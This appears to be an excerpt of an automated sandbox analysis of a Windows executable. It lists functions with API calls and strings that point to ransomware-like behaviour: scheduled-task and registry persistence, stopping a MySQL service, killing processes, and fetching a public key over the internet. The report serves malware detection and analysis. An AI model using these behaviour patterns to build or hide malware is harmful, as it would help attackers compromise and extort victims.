_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
